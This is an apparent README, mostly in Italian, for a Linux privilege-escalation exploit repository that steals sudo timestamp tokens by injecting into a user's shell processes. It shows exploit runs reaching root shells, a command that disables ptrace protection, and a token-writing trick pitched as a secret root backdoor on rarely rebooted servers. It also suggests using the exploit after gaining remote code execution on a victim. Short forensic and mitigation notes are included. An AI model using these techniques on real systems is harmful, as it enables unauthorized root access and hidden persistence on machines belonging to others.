
[Linux] Due tecniche di elevazione dei privilegi che abusano del token sudo
Tutti abbiamo notato che a volte sudo non ci chiede la password perché si ricorda di noi. Come fa a ricordarsi di noi e come ci identifica? Possiamo falsificare la nostra identità e diventare root? Per quanto ne so, questa ricerca non è ancora documentata, ma fatemi sapere se lo è. Infatti sudo crea un file per ogni utente linux in /var/run/sudo/ts/[username]. Questi file contengono sia le autenticazioni riuscite che quelle fallite, quindi sudo usa questi file per ricordare tutti i processi autenticati. -- @chaignc
Questo repository ti fornisce:
PS: leggi i requisiti!!
$ sudo whatever
[sudo] password for user: # Press <ctrl>+c since you don't have the password. # This creates an invalid sudo tokens.
$ sh exploit.sh
.... wait 1 seconds
$ sudo -i # no password required :)
# id
uid=0(root) gid=0(root) groups=0(root)
The default password timeout is 15 minutes. So if you use sudo twice in 15 minutes (900 seconds), you will not be asked to type the user’s password again.
exploit.sh inietta tutti i processi shell posseduti dall'utente corrente e usa il loro token sudo per validare il nostro token sudo. Sono appena 3 righe di shell, dai un'occhiata.
Non è affatto una privesc generica senza requisiti, ma funziona; ad esempio, se hai una RCE e non hai la password dell'utente, ma la vittima usa sudo, puoi facilmente ottenere root rubando il suo token.
# echo 0 > /proc/sys/kernel/yama/ptrace_scope
# # Don't worry this is not persistent accross reboot
Avvia due terminali:
Per chi ha meno fortuna con exploit v1, prova la v2
$ ./exploit_v2.sh
Current process : 2441
chmod: changing permissions of 'activate_sudo_token': Operation not permitted
Injecting process 1721 -> bash
Injecting process 2433 -> bash
cat: /proc/2446/comm: No such file or directory
Injecting process 2446 ->
$ /tmp/sh -p
# id
uid=1001(test) gid=1001(test) euid=0(root) egid=0(root) groups=0(root),1001(test)
La stampa è da migliorare, ma ogni tentativo sudo di un processo ha una voce in /var/run/sudo/ts/[username]. Inoltre questi file sono memorizzati in tmpfs (RAM), si potrebbe scrivere un plugin volatility per analizzare queste informazioni e raccogliere i tentativi sudo.
./read_sudo_token_forensic < /var/run/sudo/ts/user
version, flags, uid, sid, starttime_sec, starttime_nsec
2, 0, 0, 0, 0, 0
2, 0, 1001, 1145, 188, 660000000
2, 0, 1001, 24878, 7461, 490000000
2, 0, 1001, 24578, 6974, 10000000
Se hai una scrittura arbitraria, puoi creare un token sudo per il tuo processo corrente per ottenere l'esecuzione di codice root. Guarda './write_sudo_token $$ > /var/run/sudo/ts/[username]' in extra_tools.
Un ottimo modo per creare una backdoor root segreta su server che si riavviano raramente. Non ancora fatto, ma guarda './write_sudo_token $$' in ./extra_tools
Stavo cercando un modo per rubare il token sudo di un processo morto, ma non sembra possibile perché sono associati tramite ((ora di inizio del processo e id di sessione del processo) o (ora di inizio della tty e id di sessione della tty)). L'id di sessione (pid del processo) può essere impersonato, ma l'ora di inizio del processo non è falsificabile.
kernel.yama.ptrace_scope = 1
Iniezione di codice inter-processo su Linux senza ptrace
Spostare un processo su un altro terminale
https://www.linusakesson.net/programming/tty/